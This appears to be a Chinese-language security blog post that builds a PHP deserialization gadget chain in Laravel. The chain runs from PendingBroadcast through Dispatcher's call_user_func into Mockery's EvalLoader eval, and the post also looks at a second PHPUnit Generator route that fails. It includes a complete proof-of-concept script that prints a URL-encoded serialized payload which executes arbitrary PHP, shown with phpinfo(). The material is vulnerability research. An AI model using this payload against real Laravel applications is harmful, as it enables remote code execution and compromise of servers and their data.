前言
接上文的第一条链,由于call_user_func()
不仅可以调用任意系统函数,还可以调用类中的方法,因此本文是对后者调用类的方法的补充。
实现任意类的任意方法的格式可以如下:
$a = new A();
call_user_func("call_user_func",array($a,"a"));
其中第一个参数为call_user_func
,第二个参数为数组,数组的第一个元素对应为类名,第二个元素对应为类中的方法名。
本例子就是调用a对象的a方法。
另外也可以有这种格式:
$a = new A();
call_user_func(array($a,"a"),"abc");
直接第一个参数就为数组,第二个及之后的参数为a方法所对应的参数(有几个参数即对应传几个),如果a是无参的就可以随便传‘abc’(也可直接不传)。
调用类方法1
首先找找框架中有什么可利用的类方法,例如全局搜索eval
关键字,找到EvalLoader
类(Mockery\Loader)中的load
方法存在eval
函数:
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
在执行eval
之前要先绕过if判断,也即$definition->getClassName()所返回的类必须是不存在的。
所以先找找哪个类中的getClassName
方法可以利用。发现该方法存在于MockDefinition
类(Mockery\Generator)中,当然从MockDefinition $definition
的声明也可以得知。
跟进getClassName方法
public function getClassName()
{
return $this->config->getName();
}
找找getName
,发现该方法存在于MockConfiguration
类(Mockery\Generator)中,所以config
变量应该为一个MockConfiguration
对象。
跟进getName方法
public function getName()
{
return $this->name;
}
返回变量name
,也即我们的目的就是要让其所指的类名不存在,这个可以很简单实现。
至此POP链构造完成。
POC代码
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver ;
public function __construct($queueResolver)
{
$this->queueResolver=$queueResolver;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection ;
public function __construct($connection){
$this->connection=$connection;
}
}
}
namespace Mockery\Loader{
class EvalLoader {
}
}
namespace Mockery\Generator{
class MockDefinition{
protected $config;
protected $code;
public function __construct($config,$code)
{
$this->config=$config;
$this->code=$code;
}
}
}
namespace Mockery\Generator{
class MockConfiguration{
protected $name="a";
}
}
namespace{
$a=new Mockery\Loader\EvalLoader();
$d = new Illuminate\Bus\Dispatcher(array($a,'load'));
$x=new Mockery\Generator\MockConfiguration();
$m=new Mockery\Generator\MockDefinition($x,'<?php phpinfo();');
$b = new Illuminate\Broadcasting\BroadcastEvent($m);
$p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
echo urlencode(serialize($p));
}
运行结果:
调用类方法2
仍然全局搜索eval
关键字,找到Generator
类(PHPUnit\Framework\MockObject)中的evalClass
方法存在eval
函数:
private function evalClass($code, $className): void
{
if (!\class_exists($className, false)) {
eval($code);
}
}
首先要先通过if判断,也即要求$className
不是一个存在的类,这个很简单,随便命名一个即可。
然后就可以执行$code
了,我们这里用phpinfo();
做测试。
但是这里陷入了困境,evalClass
这个方法中的两个参数是直接定义的,而不是本类定义的(也即不是$this->code、$this->className这种类型),这样导致我们无法通过反序列化覆盖这两个参数,而只能通过call_user_func
来传参,也即理想情况下应该为这种形式:call_user_func(array($a,'evalClass'),$code,$className)
(其中$a是Generator
的实例化对象)。
而之前的分析知道:我们此时只能利用的形式是:call_user_func($this->queueResolver, $connection),第一个参数$this->queueResolver必定是array($a,'evalClass')
,但第二个参数$connection
却无法同时带有两个参数,我尝试用数组形式array($code,$className)
也不行,这样不行也可以理解,因为PHP把它当成一个数组类型参数而不是两个参数了。
Somnus师傅分析这个地方可以利用,是因为他分析的代码是这样(可能是版本不一样所致?):
由于是this
这种形式,所以直接通过反序列化覆盖即可,无须进行传参。而且这里的generate
是无参的,显然好利用多了。
除此之外如果想利用call_user_func
还要考虑一点,就是该方法是private
还是public
,如果是前者是无法利用的。。。
所以如果改成Somnus师傅所分析的代码,到此就可以写POC了,只需要把第一条链中的call_user_func($this->queueResolver, $connection),其中的第一个参数为call_user_func
,第二个参数为array($a,'generate')
,(这里的$a
为Generator
类的一个实例化对象)。
可以看看对应的POC:传送门